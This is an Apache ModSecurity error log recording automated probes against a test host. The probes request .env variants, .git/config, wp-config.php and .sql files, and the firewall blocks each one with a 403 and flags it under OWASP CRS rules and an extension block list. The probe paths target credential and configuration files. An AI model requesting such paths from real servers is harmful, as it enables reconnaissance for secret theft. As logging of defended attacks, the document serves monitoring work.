[Thu Feb 26 01:03:40.241487 2026] [:error] [pid 2330788] [client 185.177.72.22:48376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/update.sql&quot;] [unique_id &quot;aZ-N3CSJSniLip0oFXiz3gAAAAA&quot;]
[Thu Feb 26 01:03:40.242069 2026] [:error] [pid 2330788] [client 185.177.72.22:48376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/update.sql&quot;] [unique_id &quot;aZ-N3CSJSniLip0oFXiz3gAAAAA&quot;]
[Thu Feb 26 01:03:40.242242 2026] [:error] [pid 2330788] [client 185.177.72.22:48376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/update.sql&quot;] [unique_id &quot;aZ-N3CSJSniLip0oFXiz3gAAAAA&quot;]
[Thu Feb 26 01:03:40.263411 2026] [:error] [pid 2330788] [client 185.177.72.22:48376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delete.sql&quot;] [unique_id &quot;aZ-N3CSJSniLip0oFXiz3wAAAAA&quot;]
[Thu Feb 26 01:03:40.263944 2026] [:error] [pid 2330788] [client 185.177.72.22:48376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delete.sql&quot;] [unique_id &quot;aZ-N3CSJSniLip0oFXiz3wAAAAA&quot;]
[Thu Feb 26 01:03:40.264106 2026] [:error] [pid 2330788] [client 185.177.72.22:48376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delete.sql&quot;] [unique_id &quot;aZ-N3CSJSniLip0oFXiz3wAAAAA&quot;]
[Thu Feb 26 01:47:35.502411 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn3AAAAAI&quot;]
[Thu Feb 26 01:47:35.502659 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn3AAAAAI&quot;]
[Thu Feb 26 01:47:35.502823 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn3AAAAAI&quot;]
[Thu Feb 26 01:47:35.536907 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn3QAAAAI&quot;]
[Thu Feb 26 01:47:35.537141 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn3QAAAAI&quot;]
[Thu Feb 26 01:47:35.537343 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn3QAAAAI&quot;]
[Thu Feb 26 01:47:35.567723 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn3gAAAAI&quot;]
[Thu Feb 26 01:47:35.567885 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn3gAAAAI&quot;]
[Thu Feb 26 01:47:35.568109 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn3gAAAAI&quot;]
[Thu Feb 26 01:47:35.568285 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn3gAAAAI&quot;]
[Thu Feb 26 01:47:35.590881 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn3wAAAAI&quot;]
[Thu Feb 26 01:47:35.591106 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn3wAAAAI&quot;]
[Thu Feb 26 01:47:35.591293 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn3wAAAAI&quot;]
[Thu Feb 26 01:47:35.612324 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn4AAAAAI&quot;]
[Thu Feb 26 01:47:35.612559 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn4AAAAAI&quot;]
[Thu Feb 26 01:47:35.612756 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn4AAAAAI&quot;]
[Thu Feb 26 01:47:35.642962 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn4QAAAAI&quot;]
[Thu Feb 26 01:47:35.643224 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn4QAAAAI&quot;]
[Thu Feb 26 01:47:35.643405 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn4QAAAAI&quot;]
[Thu Feb 26 01:47:35.664267 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn4gAAAAI&quot;]
[Thu Feb 26 01:47:35.664495 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn4gAAAAI&quot;]
[Thu Feb 26 01:47:35.664733 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn4gAAAAI&quot;]
[Thu Feb 26 01:47:35.685756 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn4wAAAAI&quot;]
[Thu Feb 26 01:47:35.685977 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn4wAAAAI&quot;]
[Thu Feb 26 01:47:35.686142 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn4wAAAAI&quot;]
